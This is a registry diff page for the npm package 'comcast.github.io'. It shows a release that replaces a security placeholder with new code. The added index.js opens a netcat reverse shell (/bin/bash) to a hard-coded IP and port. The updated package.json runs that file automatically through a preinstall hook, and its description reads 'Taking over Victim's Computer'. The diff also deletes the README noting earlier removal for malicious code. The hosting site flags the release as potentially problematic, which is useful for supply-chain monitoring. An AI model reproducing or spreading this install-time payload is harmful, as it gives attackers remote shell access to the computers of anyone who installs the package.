comcast.github.io 0.0.1-security → 110.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of comcast.github.io might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +22 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ const { exec } = require("child_process");
2
+ const https = require("https");
3
+
4
+ // Replace 'your_ip' with your actual IP address
5
+ const your_ip = "192.168.98.136";
6
+ const your_port = 4444; // Ensure this matches the port from Step 1
7
+
8
+ // Command to create a reverse shell
9
+ const reverseShellCommand = `nc ${your_ip} ${your_port} -e /bin/bash`;
10
+
11
+ // Execute the reverse shell command
12
+ exec(reverseShellCommand, (error, stdout, stderr) => {
13
+ if (error) {
14
+ console.error(`Error: ${error.message}`);
15
+ return;
16
+ }
17
+ if (stderr) {
18
+ console.error(`Stderr: ${stderr}`);
19
+ return;
20
+ }
21
+ console.log(`Output: ${stdout}`);
22
+ });
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "comcast.github.io",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "110.1.0",
4
+ "description": "Taking over Victim's Computer by M1S0",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "comcast.github.io": "^110.1.0"
14
+ }
6
15
  }
16
+
17
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=comcast.github.io for more information.